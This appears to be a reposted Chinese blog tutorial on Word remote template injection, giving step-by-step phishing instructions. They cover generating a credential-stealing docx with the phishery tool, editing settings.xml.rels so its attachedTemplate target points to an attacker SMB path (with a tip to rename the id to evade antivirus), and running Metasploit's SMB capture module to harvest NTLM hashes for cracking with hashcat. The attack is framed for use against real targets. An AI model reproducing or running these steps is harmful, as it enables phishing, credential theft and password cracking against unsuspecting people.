Word模板注入攻击

0x00 工具准备

phishery:https://github.com/ryhanson/phishery/releases

office版本:office 2010

0x01 什么是Word模板注入攻击

Word模板注入攻击就是利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,来盗取他的各类账号密码

0x02 通过远程模板注入盗取目标的各类普通账号密码

1、创建一个docx格式的word文件作为模板源文件,并编辑好文档内容

2、利用模板源文件(test.docx)生成真正的钓鱼文件

用到的工具为phishery,文档开头已提供下载链接(有多个平台的版本,此处用的linux下,在kali里操作的)

2.1 将test.docx放到工具phishery的目录下

2.2 执行以下命令生成真正的钓鱼文件

 ./phishery -u https://192.168.3.29/pass -i phishery.docx -o getpwd.docx
# 此处务必要注意,必须用 https 证书,都在当前目录下

2.3 修改生成的钓鱼文件的权限

chmod 777 getpwd.docx

3、启动phishery服务端(模拟web服务器)

phishery会用当前目录下的setting.json文件中的参数和证书作为默认配置,将记录到的账号密码放在credentials.json中

./phishery
cat credentials.json

4、将钓鱼文件getpwd.docx发送给目标

4.1 目标一点开文件就会弹出一个证书警告框,这一步很关键,只要用户选择了"是",我们的钓鱼文件就会自动去连接远程服务器并弹出基础认证钓鱼框,当目标输完账号以后就会被发送到我们自己的 smb 服务器上

4.2 当目标在弹出的登录框输入内容过后,回到攻击者的kali上,发现目标输入的账号密码都已经被记录

0x03 通过远程模板注入盗取目标系统用户密码的ntlm hash

1、修改之前生成的getpwd.docx解压出来的settings.xml.rels文件

1.1 将docx的文件后缀格式改为压缩文件的格式,如zip,然后将文件解压,找到word\_rels文件

1.2 编辑 settings.xml.rels,如下,定位到 Target 参数,将其改为 smb 的请求方式[即 UNC 路径],同时也可以尝试把 id[工具的敏感特征]改掉,以此躲避某些杀软

原来的:

更改的:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://192.168.175.137/" Tar getMode="External"/>
</Relationships>

2、修改好之后将之前解压出来的文件全部重新打包,并将后缀名字改回docx

2.1 全部重新打包为zip格式的压缩包

2.2 将打包好的压缩包的后缀更改为docx

3、回到攻击机kali上,打开msf,启动smb监听,将后续收到的hash都存到passwd中

msf > use auxiliary/server/capture/smb
msf > set srvhost 192.168.3.29
msf > set johnpwfile passwd
msf > exploit

4、将制作好的钓鱼文件getpwd发送给目标,当目标打开文件,攻击者便可以获取到他当前系统用户的密码hash

4.1 打开钓鱼文件,目标这里没有任何提示弹窗

4.2 再回到攻击机,发现目标用户系统的hash已经获取到了

4.3 最后,只需要把这些 hash 丢到 hashcat 里去跑就行了

0x05 关于实际利用过程中的一些注意事项

  • 需要一个靠谱的证书
  • 一个靠谱高匿的域名
  • 这种攻击方式的好处在于它并不依赖目标所使用的操作系统,完全依靠 word 自身特性来完成,所以有更强的适应性

0x06 来源

《Word 模版注入攻击详细利用过程 》--By Klion

Word模板注入攻击的更多相关文章

  1. Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板. 1.创建一个启用宏的模板   打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象 ...

  2. Office RTF远程模板注入

    远程模板插入   ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加.之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh).   相 ...

  3. SQL注入攻击的常见方式及测试方法

    本文主要针对SQL注入的含义.以及如何进行SQL注入和如何预防SQL注入让小伙伴有个了解.适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录.发布等模块的SQL攻击漏洞,至于如何预 ...

  4. Java Filter防止sql注入攻击

    原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例:某个网站的登入验证的SQ ...

  5. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  6. web攻击之三:SQL注入攻击的种类和防范手段

    观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...

  7. Django是如何防止注入攻击-XSS攻击-CSRF攻击

    注入攻击-XSS攻击-CSRF攻击介绍请访问:https://www.cnblogs.com/hwnzy/p/11219475.html Django防止注入攻击 Django提供一个抽象的模型层来组 ...

  8. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  9. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

随机推荐

  1. go-爬图片

    go语言爬取图片 注:动态加载出来的爬取不到,或怕取出来图片出错,代码中的网页是可以正常爬取的 package main import ( "fmt" "io" ...

  2. GO-切片拷贝以及赋值

    一.拷贝 package main import "fmt" func main(){ //copy函数,把一个切片copy到另一个切片之上 var a [1000]int=[10 ...

  3. maven仓库之第二篇

    1. 什么是maven? 它是一个软件开发的管理工具,主要管理的工作是:依赖管理,项目构建. 2. 使用maven的好处? 能够集中管理jar包,提供一键构建. 3. maven的安装及配置 配置:M ...

  4. flex三个对齐属性的记忆方式

    今天在群里聊天有人说 flex的那几个居中属性好难记,时不时都要尝试一下,或者查看一下文档,现在我把我自己的记忆方式分享一下... 1. flex的居中主要是通过这三个属性来实现的: justify- ...

  5. choose Perseverance :)

    心里话 很久都没有更新博客了,我会陆陆续续的把云笔记中的一些有意思的文章放在博客中. 这10个月以来经历了很多,9月份参加了省赛获得了一个二等奖,和一等奖失之交臂的滋味很难受,到10月份开始维护自己的 ...

  6. JS 实现

    JavaScript 使用 HTML 中的脚本必须位于<script> 与 </script>标签之间. 脚本可被放置在 HTML 页面的 <body>和 < ...

  7. webpack打包 The 'mode' option has not been set, webpack will fallback to

    webpack 打包报错 The 'mode' option has not been set, webpack will fallback to 'production' for,Module no ...

  8. jmeter使用问题——数据库无法连接

    使用Jmeter 数据库连接配置组件,执行sql时jmeter日志报错 WARN o.a.j.p.j.p.AbstractJDBCProcessor: SQL Problem in 查询账号申诉ID: ...

  9. Nginx 配置详细文件

    概述 Nginx 是使用一个 master 进程来管理多个 worker 进程提供服务.master 负责管理 worker 进程,而 worker 进程则提供真正的客户服务,worker 进程的数量 ...

  10. vue模板语法上

    vue的插值案例 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> < ...